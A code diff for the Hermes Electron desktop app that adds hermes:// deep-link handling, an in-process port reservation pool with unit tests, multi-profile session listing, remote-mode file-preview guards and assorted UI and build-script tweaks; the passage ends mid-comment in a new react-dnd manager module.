return argv.find((a) => typeof a === 'string' && a.startsWith(`${HERMES_PROTOCOL}://`)) || null
|
||||
}
|
||||
|
||||
function handleDeepLink(url) {
|
||||
if (!url || typeof url !== 'string') return
|
||||
let parsed
|
||||
try {
|
||||
parsed = new URL(url)
|
||||
} catch {
|
||||
rememberLog(`[deeplink] ignoring malformed url: ${url}`)
|
||||
return
|
||||
}
|
||||
// hermes://blueprint/<key>?slot=val -> host="blueprint", path="/<key>"
|
||||
const kind = parsed.hostname || ''
|
||||
const name = decodeURIComponent((parsed.pathname || '').replace(/^\//, ''))
|
||||
const params = {}
|
||||
parsed.searchParams.forEach((v, k) => {
|
||||
params[k] = v
|
||||
})
|
||||
const payload = { kind, name, params }
|
||||
|
||||
if (!_rendererReadyForDeepLink || !mainWindow || mainWindow.isDestroyed()) {
|
||||
_pendingDeepLink = payload
|
||||
return
|
||||
}
|
||||
try {
|
||||
if (mainWindow.isMinimized()) mainWindow.restore()
|
||||
mainWindow.focus()
|
||||
mainWindow.webContents.send('hermes:deep-link', payload)
|
||||
rememberLog(`[deeplink] delivered ${kind}/${name}`)
|
||||
} catch (err) {
|
||||
rememberLog(`[deeplink] delivery failed: ${err.message}`)
|
||||
}
|
||||
}
|
||||
|
||||
// Renderer calls this (via IPC) once it has mounted its deep-link listener, so
|
||||
// a link that arrived during boot/install is flushed exactly once.
|
||||
ipcMain.handle('hermes:deep-link-ready', () => {
|
||||
_rendererReadyForDeepLink = true
|
||||
if (_pendingDeepLink) {
|
||||
const queued = _pendingDeepLink
|
||||
_pendingDeepLink = null
|
||||
handleDeepLink(
|
||||
`${HERMES_PROTOCOL}://${queued.kind}/${encodeURIComponent(queued.name)}` +
|
||||
(Object.keys(queued.params).length
|
||||
? '?' + new URLSearchParams(queued.params).toString()
|
||||
: ''),
|
||||
)
|
||||
}
|
||||
return { ok: true }
|
||||
})
|
||||
|
||||
function registerDeepLinkProtocol() {
|
||||
try {
|
||||
if (process.defaultApp && process.argv.length >= 2) {
|
||||
// Dev: register with the electron exec path + entry script so the OS can
|
||||
// relaunch us with the URL.
|
||||
app.setAsDefaultProtocolClient(HERMES_PROTOCOL, process.execPath, [
|
||||
path.resolve(process.argv[1]),
|
||||
])
|
||||
} else {
|
||||
app.setAsDefaultProtocolClient(HERMES_PROTOCOL)
|
||||
}
|
||||
} catch (err) {
|
||||
rememberLog(`[deeplink] protocol registration failed: ${err.message}`)
|
||||
}
|
||||
}
|
||||
|
||||
// Single-instance lock: deep links on a running app (Win/Linux) arrive as a
|
||||
// second-instance argv. Without the lock a second `hermes://` launch spawns a
|
||||
// whole new app instead of routing into the running one.
|
||||
const _gotSingleInstanceLock = app.requestSingleInstanceLock()
|
||||
if (!_gotSingleInstanceLock) {
|
||||
app.quit()
|
||||
} else {
|
||||
app.on('second-instance', (_event, argv) => {
|
||||
const url = _extractDeepLink(argv)
|
||||
if (url) handleDeepLink(url)
|
||||
else if (mainWindow) {
|
||||
if (mainWindow.isMinimized()) mainWindow.restore()
|
||||
mainWindow.focus()
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
// macOS delivers deep links via 'open-url' — register early (can fire before
|
||||
// whenReady; handleDeepLink queues until the renderer is ready).
|
||||
app.on('open-url', (event, url) => {
|
||||
event.preventDefault()
|
||||
handleDeepLink(url)
|
||||
})
|
||||
|
||||
|
||||
app.whenReady().then(() => {
|
||||
if (IS_MAC) {
|
||||
Menu.setApplicationMenu(buildApplicationMenu())
|
||||
@@ -6196,11 +6271,16 @@ app.whenReady().then(() => {
|
||||
}
|
||||
installMediaPermissions()
|
||||
registerMediaProtocol()
|
||||
registerDeepLinkProtocol()
|
||||
ensureWslWindowsFonts()
|
||||
configureSpellChecker()
|
||||
registerPowerResumeListeners()
|
||||
createWindow()
|
||||
|
||||
// Win/Linux cold start: the launching hermes:// URL is in our own argv.
|
||||
const _coldStartLink = _extractDeepLink(process.argv)
|
||||
if (_coldStartLink) handleDeepLink(_coldStartLink)
|
||||
|
||||
app.on('activate', () => {
|
||||
// Recreate the primary window if it's gone. Guard on mainWindow directly
|
||||
// (not just total window count) so a dock click still restores the main
|
||||
|
||||
@@ -0,0 +1,73 @@
|
||||
'use strict'
|
||||
|
||||
/**
|
||||
* In-process port reservation pool for the desktop backend launcher.
|
||||
*
|
||||
* pickPort() probes a localhost port with a throwaway server and closes it
|
||||
* before the real bind happens in a separate Python child. Between that probe
|
||||
* and the child's bind there is a TOCTOU window: a second concurrent spawn
|
||||
* (the primary backend racing a pool backend) can be handed the SAME port, and
|
||||
* one then dies with EADDRINUSE ("address already in use" -> "Object has been
|
||||
* destroyed" boot loop). Reserving the chosen port in THIS process until the
|
||||
* child exits closes that window.
|
||||
*
|
||||
* The OS bind remains the source of truth; this only deconflicts racers inside
|
||||
* this process — it can't stop a foreign squatter, which the probe + the
|
||||
* EADDRINUSE self-heal still cover.
|
||||
*
|
||||
* The pool is dependency-injected (the availability probe is passed in) and
|
||||
* free of Electron/Node socket I/O, so it is unit-tested without real sockets
|
||||
* (see port-pool.test.cjs).
|
||||
*/
|
||||
class PortPool {
|
||||
/**
|
||||
* @param {number} floor inclusive lowest port to hand out
|
||||
* @param {number} ceiling inclusive highest port to hand out
|
||||
*/
|
||||
constructor(floor, ceiling) {
|
||||
this.floor = floor
|
||||
this.ceiling = ceiling
|
||||
this._reserved = new Set()
|
||||
}
|
||||
|
||||
/** @returns {boolean} whether `port` is currently reserved in-process. */
|
||||
has(port) {
|
||||
return this._reserved.has(port)
|
||||
}
|
||||
|
||||
/** Release a previously reserved port. No-op if it was not reserved. */
|
||||
release(port) {
|
||||
this._reserved.delete(port)
|
||||
}
|
||||
|
||||
/** Drop all reservations. */
|
||||
clear() {
|
||||
this._reserved.clear()
|
||||
}
|
||||
|
||||
/** @returns {number} count of currently reserved ports. */
|
||||
get size() {
|
||||
return this._reserved.size
|
||||
}
|
||||
|
||||
/**
|
||||
* Reserve and return the lowest port in [floor, ceiling] that is neither
|
||||
* already reserved in-process nor rejected by `isAvailable(port)`, or null
|
||||
* if every port is taken. `isAvailable` may be sync (boolean) or async
|
||||
* (Promise<boolean>); it is awaited either way.
|
||||
*
|
||||
* @param {(port: number) => boolean | Promise<boolean>} isAvailable
|
||||
* @returns {Promise<number|null>}
|
||||
*/
|
||||
async reserve(isAvailable) {
|
||||
for (let port = this.floor; port <= this.ceiling; port += 1) {
|
||||
if (this._reserved.has(port)) continue
|
||||
if (!(await isAvailable(port))) continue
|
||||
this._reserved.add(port)
|
||||
return port
|
||||
}
|
||||
return null
|
||||
}
|
||||
}
|
||||
|
||||
module.exports = { PortPool }
|
||||
@@ -0,0 +1,77 @@
|
||||
/**
|
||||
* Tests for electron/port-pool.cjs.
|
||||
*
|
||||
* Run with: node --test electron/port-pool.test.cjs
|
||||
*
|
||||
* PortPool is the in-process reservation that closes the pickPort() TOCTOU
|
||||
* window. These cover selection order, skipping reserved/unavailable ports,
|
||||
* release/reuse, exhaustion, and async probes — without real sockets.
|
||||
*/
|
||||
|
||||
const test = require('node:test')
|
||||
const assert = require('node:assert/strict')
|
||||
|
||||
const { PortPool } = require('./port-pool.cjs')
|
||||
|
||||
const allFree = () => true
|
||||
|
||||
test('reserve returns the lowest free port and reserves it', async () => {
|
||||
const pool = new PortPool(9120, 9199)
|
||||
const port = await pool.reserve(allFree)
|
||||
assert.equal(port, 9120)
|
||||
assert.ok(pool.has(9120))
|
||||
assert.equal(pool.size, 1)
|
||||
})
|
||||
|
||||
test('reserve skips ports already reserved in-process', async () => {
|
||||
const pool = new PortPool(9120, 9199)
|
||||
const first = await pool.reserve(allFree)
|
||||
const second = await pool.reserve(allFree)
|
||||
assert.equal(first, 9120)
|
||||
assert.equal(second, 9121)
|
||||
})
|
||||
|
||||
test('reserve skips ports the probe rejects', async () => {
|
||||
const pool = new PortPool(9120, 9199)
|
||||
const busy = new Set([9120, 9121])
|
||||
const port = await pool.reserve(p => !busy.has(p))
|
||||
assert.equal(port, 9122)
|
||||
})
|
||||
|
||||
test('reserve returns null when every port is taken', async () => {
|
||||
const pool = new PortPool(9120, 9121)
|
||||
await pool.reserve(allFree)
|
||||
await pool.reserve(allFree)
|
||||
assert.equal(await pool.reserve(allFree), null)
|
||||
})
|
||||
|
||||
test('release frees a reserved port for reuse', async () => {
|
||||
const pool = new PortPool(9120, 9120)
|
||||
assert.equal(await pool.reserve(allFree), 9120)
|
||||
assert.equal(await pool.reserve(allFree), null) // exhausted
|
||||
pool.release(9120)
|
||||
assert.ok(!pool.has(9120))
|
||||
assert.equal(await pool.reserve(allFree), 9120) // reusable
|
||||
})
|
||||
|
||||
test('release is a no-op for an unreserved port', () => {
|
||||
const pool = new PortPool(9120, 9199)
|
||||
pool.release(9120)
|
||||
assert.equal(pool.size, 0)
|
||||
})
|
||||
|
||||
test('reserve awaits an async probe', async () => {
|
||||
const pool = new PortPool(9120, 9199)
|
||||
const busy = new Set([9120])
|
||||
const port = await pool.reserve(p => Promise.resolve(!busy.has(p)))
|
||||
assert.equal(port, 9121)
|
||||
})
|
||||
|
||||
test('clear drops all reservations', async () => {
|
||||
const pool = new PortPool(9120, 9199)
|
||||
await pool.reserve(allFree)
|
||||
await pool.reserve(allFree)
|
||||
assert.equal(pool.size, 2)
|
||||
pool.clear()
|
||||
assert.equal(pool.size, 0)
|
||||
})
|
||||
@@ -80,6 +80,12 @@ contextBridge.exposeInMainWorld('hermesDesktop', {
|
||||
ipcRenderer.on('hermes:open-updates', listener)
|
||||
return () => ipcRenderer.removeListener('hermes:open-updates', listener)
|
||||
},
|
||||
onDeepLink: callback => {
|
||||
const listener = (_event, payload) => callback(payload)
|
||||
ipcRenderer.on('hermes:deep-link', listener)
|
||||
return () => ipcRenderer.removeListener('hermes:deep-link', listener)
|
||||
},
|
||||
signalDeepLinkReady: () => ipcRenderer.invoke('hermes:deep-link-ready'),
|
||||
onWindowStateChanged: callback => {
|
||||
const listener = (_event, payload) => callback(payload)
|
||||
ipcRenderer.on('hermes:window-state-changed', listener)
|
||||
|
||||
@@ -8,7 +8,7 @@ const path = require('node:path')
|
||||
const ELECTRON_DIR = __dirname
|
||||
|
||||
function readElectronFile(name) {
|
||||
return fs.readFileSync(path.join(ELECTRON_DIR, name), 'utf8')
|
||||
return fs.readFileSync(path.join(ELECTRON_DIR, name), 'utf8').replace(/\r\n/g, '\n')
|
||||
}
|
||||
|
||||
function requireHiddenChildOptions(source, needle) {
|
||||
|
||||
@@ -18,7 +18,8 @@
|
||||
"profile:main": "wait-on http://127.0.0.1:5174 && cross-env XCURSOR_SIZE=24 HERMES_DESKTOP_DEV_SERVER=http://127.0.0.1:5174 electron --inspect=9229 .",
|
||||
"profile:main:cpu": "wait-on http://127.0.0.1:5174 && cross-env XCURSOR_SIZE=24 NODE_OPTIONS=--cpu-prof HERMES_DESKTOP_DEV_SERVER=http://127.0.0.1:5174 electron .",
|
||||
"start": "npm run build && electron .",
|
||||
"build": "node scripts/assert-root-install.cjs && node scripts/write-build-stamp.cjs && node scripts/stage-native-deps.cjs && tsc -b && vite build && node scripts/assert-dist-built.cjs",
|
||||
"build": "node scripts/assert-root-install.cjs && node scripts/write-build-stamp.cjs && node scripts/stage-native-deps.cjs && tsc -b && vite build && npm run postbuild",
|
||||
"postbuild": "node scripts/assert-dist-built.cjs",
|
||||
"builder": "cross-env NODE_OPTIONS=--max-old-space-size=16384 electron-builder",
|
||||
"pack": "npm run build && npm run builder -- --dir",
|
||||
"dist": "npm run build && npm run builder",
|
||||
@@ -35,7 +36,7 @@
|
||||
"test:desktop:nsis": "node scripts/test-desktop.mjs nsis",
|
||||
"test:desktop:existing": "node scripts/test-desktop.mjs existing",
|
||||
"test:desktop:fresh": "node scripts/test-desktop.mjs fresh",
|
||||
"test:desktop:platforms": "node --test electron/bootstrap-platform.test.cjs electron/hardening.test.cjs electron/backend-probes.test.cjs electron/bootstrap-runner.test.cjs electron/connection-config.test.cjs electron/gateway-ws-probe.test.cjs electron/oauth-net-request.test.cjs electron/desktop-uninstall.test.cjs electron/session-windows.test.cjs electron/workspace-cwd.test.cjs electron/windows-child-process.test.cjs electron/update-remote.test.cjs",
|
||||
"test:desktop:platforms": "node --test electron/bootstrap-platform.test.cjs electron/hardening.test.cjs electron/backend-env.test.cjs electron/backend-probes.test.cjs electron/bootstrap-runner.test.cjs electron/connection-config.test.cjs electron/dashboard-token.test.cjs electron/gateway-ws-probe.test.cjs electron/oauth-net-request.test.cjs electron/desktop-uninstall.test.cjs electron/port-pool.test.cjs electron/session-windows.test.cjs electron/workspace-cwd.test.cjs electron/fs-read-dir.test.cjs electron/git-root.test.cjs electron/windows-child-process.test.cjs electron/update-remote.test.cjs",
|
||||
"typecheck": "tsc -p . --noEmit",
|
||||
"lint": "eslint src/ electron/",
|
||||
"lint:fix": "eslint src/ electron/ --fix",
|
||||
@@ -72,6 +73,7 @@
|
||||
"class-variance-authority": "^0.7.1",
|
||||
"clsx": "^2.1.1",
|
||||
"cmdk": "^1.1.1",
|
||||
"dnd-core": "^14.0.1",
|
||||
"hast-util-from-html-isomorphic": "^2.0.0",
|
||||
"hast-util-to-text": "^4.0.2",
|
||||
"ignore": "^7.0.5",
|
||||
@@ -83,6 +85,7 @@
|
||||
"radix-ui": "^1.4.3",
|
||||
"react": "^19.2.5",
|
||||
"react-arborist": "^3.5.0",
|
||||
"react-dnd-html5-backend": "^14.0.3",
|
||||
"react-dom": "^19.2.5",
|
||||
"react-router-dom": "^7.17.0",
|
||||
"react-shiki": "^0.9.3",
|
||||
@@ -103,7 +106,7 @@
|
||||
"@testing-library/dom": "^10.4.0",
|
||||
"@testing-library/react": "^16.3.2",
|
||||
"@types/hast": "^3.0.4",
|
||||
"@types/node": "^24.12.0",
|
||||
"@types/node": "^24.13.2",
|
||||
"@types/react": "^19.2.14",
|
||||
"@types/react-dom": "^19.2.3",
|
||||
"@typescript-eslint/eslint-plugin": "^8.59.1",
|
||||
@@ -132,6 +135,14 @@
|
||||
"appId": "com.nousresearch.hermes",
|
||||
"productName": "Hermes",
|
||||
"executableName": "Hermes",
|
||||
"protocols": [
|
||||
{
|
||||
"name": "Hermes Protocol",
|
||||
"schemes": [
|
||||
"hermes"
|
||||
]
|
||||
}
|
||||
],
|
||||
"artifactName": "Hermes-${version}-${os}-${arch}.${ext}",
|
||||
"icon": "assets/icon",
|
||||
"directories": {
|
||||
|
||||
@@ -18,7 +18,7 @@ import {
|
||||
} from '@/components/ui/pagination'
|
||||
import { TextTab, TextTabMeta } from '@/components/ui/text-tab'
|
||||
import { Tip } from '@/components/ui/tooltip'
|
||||
import { getSessionMessages, listSessions } from '@/hermes'
|
||||
import { getSessionMessages, listAllProfileSessions } from '@/hermes'
|
||||
import { type Translations, useI18n } from '@/i18n'
|
||||
import { sessionTitle } from '@/lib/chat-runtime'
|
||||
import { ExternalLink, ExternalLinkIcon, hostPathLabel, urlSlugTitleLabel, useLinkTitle } from '@/lib/external-link'
|
||||
@@ -388,8 +388,8 @@ export function ArtifactsView({ setStatusbarItemGroup: _setStatusbarItemGroup, .
|
||||
setRefreshing(true)
|
||||
|
||||
try {
|
||||
const sessions = (await listSessions(30, 1)).sessions
|
||||
const results = await Promise.allSettled(sessions.map(session => getSessionMessages(session.id)))
|
||||
const sessions = (await listAllProfileSessions(30, 1)).sessions
|
||||
const results = await Promise.allSettled(sessions.map(session => getSessionMessages(session.id, session.profile)))
|
||||
const nextArtifacts: ArtifactRecord[] = []
|
||||
|
||||
results.forEach((result, index) => {
|
||||
|
||||
@@ -1630,7 +1630,7 @@ export function ChatBar({
|
||||
onPaste={handlePaste}
|
||||
ref={editorRef}
|
||||
role="textbox"
|
||||
spellCheck="true"
|
||||
spellCheck={false}
|
||||
suppressContentEditableWarning
|
||||
/>
|
||||
{/* assistant-ui requires ComposerPrimitive.Input somewhere in the tree
|
||||
@@ -1649,7 +1649,15 @@ export function ChatBar({
|
||||
`asChild` swaps TextareaAutosize for a Radix Slot wrapping our
|
||||
plain <textarea>, which carries the binding but skips autosize. */}
|
||||
<ComposerPrimitive.Input asChild submitMode="ctrlEnter" tabIndex={-1} unstable_focusOnScrollToBottom={false}>
|
||||
<textarea aria-hidden className="sr-only" tabIndex={-1} />
|
||||
<textarea
|
||||
aria-hidden
|
||||
autoCapitalize="off"
|
||||
autoComplete="off"
|
||||
autoCorrect="off"
|
||||
className="sr-only"
|
||||
spellCheck={false}
|
||||
tabIndex={-1}
|
||||
/>
|
||||
</ComposerPrimitive.Input>
|
||||
</div>
|
||||
)
|
||||
|
||||
@@ -13,6 +13,7 @@ import { Streamdown } from 'streamdown'
|
||||
import { HERMES_PATHS_MIME } from '@/app/chat/hooks/use-composer-actions'
|
||||
import { PageLoader } from '@/components/page-loader'
|
||||
import { translateNow, useI18n } from '@/i18n'
|
||||
import { readDesktopFileDataUrl, readDesktopFileText } from '@/lib/desktop-fs'
|
||||
import { cn } from '@/lib/utils'
|
||||
import type { PreviewTarget } from '@/store/preview'
|
||||
|
||||
@@ -180,15 +181,13 @@ function looksBinaryBytes(bytes: Uint8Array) {
|
||||
}
|
||||
|
||||
async function readTextPreview(filePath: string) {
|
||||
if (window.hermesDesktop.readFileText) {
|
||||
try {
|
||||
return await window.hermesDesktop.readFileText(filePath)
|
||||
} catch (error) {
|
||||
const message = error instanceof Error ? error.message : String(error)
|
||||
try {
|
||||
return await readDesktopFileText(filePath)
|
||||
} catch (error) {
|
||||
const message = error instanceof Error ? error.message : String(error)
|
||||
|
||||
if (!message.includes("No handler registered for 'hermes:readFileText'")) {
|
||||
throw error
|
||||
}
|
||||
if (!message.includes("No handler registered for 'hermes:readFileText'")) {
|
||||
throw error
|
||||
}
|
||||
}
|
||||
|
||||
@@ -288,7 +287,7 @@ const MARKDOWN_COMPONENTS = {
|
||||
|
||||
function MarkdownPreview({ text }: { text: string }) {
|
||||
return (
|
||||
<div className="preview-markdown mx-auto max-w-3xl px-4 py-3 text-sm text-foreground">
|
||||
<div className="preview-markdown mx-auto max-w-3xl px-4 py-3 text-sm text-foreground" data-selectable-text="true">
|
||||
<Streamdown components={MARKDOWN_COMPONENTS} controls={false} mode="static" parseIncompleteMarkdown={false}>
|
||||
{text}
|
||||
</Streamdown>
|
||||
@@ -384,7 +383,10 @@ function SourceView({ filePath, language, text }: { filePath: string; language:
|
||||
)
|
||||
})}
|
||||
</div>
|
||||
<div className="relative [&_pre]:m-0 [&_pre]:px-3 [&_pre]:py-3 [&_pre]:bg-transparent!">
|
||||
<div
|
||||
className="relative [&_pre]:m-0 [&_pre]:px-3 [&_pre]:py-3 [&_pre]:bg-transparent!"
|
||||
data-selectable-text="true"
|
||||
>
|
||||
{selection && (
|
||||
<div
|
||||
aria-hidden
|
||||
@@ -448,7 +450,7 @@ export function LocalFilePreview({ reloadKey, target }: { reloadKey: number; tar
|
||||
if (isImage) {
|
||||
// Prefer bytes the caller already handed us (a pasted/dropped
|
||||
// screenshot) over re-reading a path that may be transient/unreadable.
|
||||
const dataUrl = target.dataUrl || (await window.hermesDesktop.readFileDataUrl(filePath))
|
||||
const dataUrl = target.dataUrl || (await readDesktopFileDataUrl(filePath))
|
||||
|
||||
if (active) {
|
||||
setState({ dataUrl, loading: false })
|
||||
|
||||
@@ -1,11 +1,50 @@
|
||||
import { act, cleanup, render } from '@testing-library/react'
|
||||
import { afterEach, describe, expect, it, vi } from 'vitest'
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
|
||||
|
||||
import { $connection } from '@/store/session'
|
||||
|
||||
import { PreviewPane } from './preview-pane'
|
||||
|
||||
describe('PreviewPane console state', () => {
|
||||
beforeEach(() => {
|
||||
vi.stubGlobal('requestAnimationFrame', (callback: FrameRequestCallback) => window.setTimeout(() => callback(Date.now()), 0))
|
||||
vi.stubGlobal('cancelAnimationFrame', (id: number) => window.clearTimeout(id))
|
||||
})
|
||||
|
||||
afterEach(() => {
|
||||
cleanup()
|
||||
$connection.set(null)
|
||||
vi.unstubAllGlobals()
|
||||
})
|
||||
|
||||
it('does not watch backend-only remote filesystem previews locally', () => {
|
||||
const watchPreviewFile = vi.fn(async () => ({ id: 'watch-1', path: '/remote/file.txt' }))
|
||||
const onPreviewFileChanged = vi.fn(() => vi.fn())
|
||||
$connection.set({ mode: 'remote' } as never)
|
||||
vi.stubGlobal('window', {
|
||||
...window,
|
||||
hermesDesktop: {
|
||||
onPreviewFileChanged,
|
||||
watchPreviewFile
|
||||
}
|
||||
})
|
||||
|
||||
render(
|
||||
<PreviewPane
|
||||
setTitlebarToolGroup={vi.fn()}
|
||||
target={{
|
||||
kind: 'file',
|
||||
label: 'file.txt',
|
||||
path: '/remote/file.txt',
|
||||
previewKind: 'text',
|
||||
source: '/remote/file.txt',
|
||||
url: 'file:///remote/file.txt'
|
||||
}}
|
||||
/>
|
||||
)
|
||||
|
||||
expect(watchPreviewFile).not.toHaveBeenCalled()
|
||||
expect(onPreviewFileChanged).not.toHaveBeenCalled()
|
||||
})
|
||||
|
||||
it('does not rebuild the pane titlebar group for streamed console logs', () => {
|
||||
|
||||
@@ -5,6 +5,7 @@ import { useCallback, useEffect, useRef, useState } from 'react'
|
||||
import type { SetTitlebarToolGroup, TitlebarTool } from '@/app/shell/titlebar-controls'
|
||||
import { Tip } from '@/components/ui/tooltip'
|
||||
import { type Translations, useI18n } from '@/i18n'
|
||||
import { isDesktopFsRemoteMode } from '@/lib/desktop-fs'
|
||||
import { Bug } from '@/lib/icons'
|
||||
import { cn } from '@/lib/utils'
|
||||
import { notify, notifyError } from '@/store/notifications'
|
||||
@@ -406,6 +407,7 @@ export function PreviewPane({
|
||||
useEffect(() => {
|
||||
if (
|
||||
target.kind !== 'file' ||
|
||||
isDesktopFsRemoteMode() ||
|
||||
!window.hermesDesktop?.watchPreviewFile ||
|
||||
!window.hermesDesktop?.onPreviewFileChanged
|
||||
) {
|
||||
|
||||
@@ -797,7 +797,14 @@ export function ChatSidebar({
|
||||
<SidebarMenuButton
|
||||
aria-disabled={!isInteractive}
|
||||
className={cn(
|
||||
'flex h-7 w-full justify-start gap-2 rounded-md border border-transparent px-2 text-left text-[0.8125rem] font-medium text-(--ui-text-secondary) transition-colors duration-100 ease-out hover:bg-(--ui-control-hover-background) hover:text-foreground hover:transition-none',
|
||||
// no-drag: these rows sit directly under the titlebar's
|
||||
// [-webkit-app-region:drag] strips (app-shell.tsx), with only
|
||||
// 6px of clearance. Drag regions win hit-testing over DOM
|
||||
// (pointer-events can't override), and on Linux/WSLg the
|
||||
// resolved region has been observed to swallow clicks on the
|
||||
// top rows. Same carve-out as USER_BUBBLE_BASE_CLASS in
|
||||
// thread.tsx.
|
||||
'flex h-7 w-full justify-start gap-2 rounded-md border border-transparent px-2 text-left text-[0.8125rem] font-medium text-(--ui-text-secondary) transition-colors duration-100 ease-out [-webkit-app-region:no-drag] hover:bg-(--ui-control-hover-background) hover:text-foreground hover:transition-none',
|
||||
active &&
|
||||
'border-(--ui-stroke-tertiary) bg-(--ui-control-active-background) text-foreground shadow-none hover:border-(--ui-stroke-tertiary)!',
|
||||
!isInteractive &&
|
||||
|
||||
@@ -88,7 +88,7 @@ function useSessionActions({ sessionId, title, pinned = false, profile, onPin, o
|
||||
label: r.export,
|
||||
onSelect: () => {
|
||||
triggerHaptic('selection')
|
||||
void exportSession(sessionId, { title })
|
||||
void exportSession(sessionId, { profile, title })
|
||||
}
|
||||
},
|
||||
{
|
||||
|
||||
@@ -8,7 +8,7 @@ import { HUD_HEADING, HUD_ITEM, HUD_POSITION, HUD_SURFACE, HUD_TEXT } from '@/ap
|
||||
import { setTerminalTakeover } from '@/app/right-sidebar/store'
|
||||
import { Command, CommandEmpty, CommandGroup, CommandInput, CommandItem, CommandList } from '@/components/ui/command'
|
||||
import { KbdGroup } from '@/components/ui/kbd'
|
||||
import { getHermesConfigRecord, listSessions } from '@/hermes'
|
||||
import { getHermesConfigRecord, listAllProfileSessions } from '@/hermes'
|
||||
import { useI18n } from '@/i18n'
|
||||
import { sessionTitle } from '@/lib/chat-runtime'
|
||||
import {
|
||||
@@ -119,7 +119,7 @@ const paletteFilter = (value: string, search: string, keywords?: string[]): numb
|
||||
return needle.split(/\s+/).every(term => haystack.includes(term)) ? 1 : 0
|
||||
}
|
||||
|
||||
type SessionRow = Awaited<ReturnType<typeof listSessions>>['sessions'][number]
|
||||
type SessionRow = Awaited<ReturnType<typeof listAllProfileSessions>>['sessions'][number]
|
||||
|
||||
const toSessionEntry = (session: SessionRow): SessionEntry => ({
|
||||
id: session.id,
|
||||
@@ -218,13 +218,13 @@ export function CommandPalette() {
|
||||
|
||||
const sessionsQuery = useQuery({
|
||||
queryKey: ['command-palette', 'sessions'],
|
||||
queryFn: () => listSessions(200, 1, 'exclude'),
|
||||
queryFn: () => listAllProfileSessions(200, 1, 'exclude'),
|
||||
enabled: open
|
||||
})
|
||||
|
||||
const archivedQuery = useQuery({
|
||||
queryKey: ['command-palette', 'archived'],
|
||||
queryFn: () => listSessions(200, 0, 'only'),
|
||||
queryFn: () => listAllProfileSessions(200, 0, 'only'),
|
||||
enabled: open
|
||||
})
|
||||
|
||||
|
||||
@@ -11,6 +11,7 @@ import { Pane, PaneMain } from '@/components/pane-shell'
|
||||
import { useMediaQuery } from '@/hooks/use-media-query'
|
||||
import { useSkinCommand } from '@/themes/use-skin-command'
|
||||
|
||||
import { requestComposerFocus, requestComposerInsert } from './chat/composer/focus'
|
||||
import { formatRefValue } from '../components/assistant-ui/directive-text'
|
||||
import { getCronJobs, getSessionMessages, listAllProfileSessions, type SessionInfo, triggerCronJob } from '../hermes'
|
||||
import { preserveLocalAssistantErrors, toChatMessages } from '../lib/chat-messages'
|
||||
@@ -266,6 +267,31 @@ export function DesktopController() {
|
||||
}
|
||||
}, [])
|
||||
|
||||
// hermes:// deep links (e.g. a docs "Send to App" button for an automation blueprint).
|
||||
// Build the equivalent /blueprint slash command from the payload and drop
|
||||
// it into the composer — the user reviews/edits, then sends; the agent (or
|
||||
// the shared command handler) creates the job. Signal readiness so a link
|
||||
// that arrived during boot is flushed exactly once.
|
||||
useEffect(() => {
|
||||
const unsubscribe = window.hermesDesktop?.onDeepLink?.((payload) => {
|
||||
if (!payload || payload.kind !== 'blueprint' || !payload.name) {
|
||||
return
|
||||
}
|
||||
const slots = Object.entries(payload.params || {})
|
||||
.map(([k, v]) => {
|
||||
const sval = /\s/.test(v) ? `"${v.replace(/"/g, '\\"')}"` : v
|
||||
return `${k}=${sval}`
|
||||
})
|
||||
.join(' ')
|
||||
const command = `/blueprint ${payload.name}${slots ? ' ' + slots : ''}`
|
||||
requestComposerInsert(command, { mode: 'block', target: 'main' })
|
||||
requestComposerFocus('main')
|
||||
})
|
||||
// Tell the main process the renderer is ready to receive deep links.
|
||||
void window.hermesDesktop?.signalDeepLinkReady?.()
|
||||
return () => unsubscribe?.()
|
||||
}, [])
|
||||
|
||||
useEffect(() => {
|
||||
const onKeyDown = (event: KeyboardEvent) => {
|
||||
if (!$filePreviewTarget.get() && !$previewTarget.get()) {
|
||||
@@ -521,7 +547,9 @@ export function DesktopController() {
|
||||
return
|
||||
}
|
||||
|
||||
const storedProfile = $sessions.get().find(session => session.id === storedSessionId)?.profile
|
||||
const storedProfile = $sessions
|
||||
.get()
|
||||
.find(session => session.id === storedSessionId || session._lineage_root_id === storedSessionId)?.profile
|
||||
|
||||
for (let index = 0; index < Math.max(1, attempts); index += 1) {
|
||||
try {
|
||||
|
||||
@@ -3,6 +3,7 @@ import { useEffect, useRef } from 'react'
|
||||
import type { HermesConnection } from '@/global'
|
||||
import { HermesGateway } from '@/hermes'
|
||||
import { translateNow } from '@/i18n'
|
||||
import { desktopDefaultCwd } from '@/lib/desktop-fs'
|
||||
import { isGatewayReauthRequired, resolveGatewayWsUrl } from '@/lib/gateway-ws-url'
|
||||
import {
|
||||
$desktopBoot,
|
||||
@@ -25,12 +26,16 @@ import {
|
||||
import { notify, notifyError } from '@/store/notifications'
|
||||
import { $activeGatewayProfile, normalizeProfileKey, touchActiveGatewayBackend } from '@/store/profile'
|
||||
import {
|
||||
$activeSessionId,
|
||||
$attentionSessionIds,
|
||||
$connection,
|
||||
$currentCwd,
|
||||
$sessions,
|
||||
$workingSessionIds,
|
||||
ensureDefaultWorkspaceCwd,
|
||||
setConnection,
|
||||
setCurrentBranch,
|
||||
setCurrentCwd,
|
||||
setSessionsLoading
|
||||
} from '@/store/session'
|
||||
import type { RpcEvent } from '@/types/hermes'
|
||||
@@ -353,6 +358,11 @@ export function useGatewayBoot({
|
||||
progress: 97
|
||||
})
|
||||
await ensureDefaultWorkspaceCwd()
|
||||
const remoteDefault = await desktopDefaultCwd().catch(() => null)
|
||||
if (remoteDefault?.cwd && !$activeSessionId.get() && !$currentCwd.get()) {
|
||||
setCurrentCwd(remoteDefault.cwd)
|
||||
setCurrentBranch(remoteDefault.branch || '')
|
||||
}
|
||||
await callbacksRef.current.refreshHermesConfig()
|
||||
|
||||
if (cancelled) {
|
||||
|
||||
@@ -0,0 +1,27 @@
|
||||
import { createDragDropManager, type DragDropManager } from 'dnd-core'
|
||||
import { HTML5Backend } from 'react-dnd-html5-backend'
|
||||
|
||||
let manager: DragDropManager | null = null
|
||||
|
||||
/**
|
||||
* A single, app-lifetime react-dnd manager for the file tree.
|
||||
*
|
||||
* react-arborist mounts its own react-dnd `DndProvider` with `HTML5Backend`
|
||||
* inside every `<Tree>`. react-dnd v14 stores that provider's manager on a
|
||||
* global, ref-counted singleton context and nulls it when the count hits 0.
|
||||
* On a keyed remount (cwd / collapse changes force a fresh `<Tree>`), the
|
||||
* singleton can be torn down and recreated while the previous `HTML5Backend`
|
||||
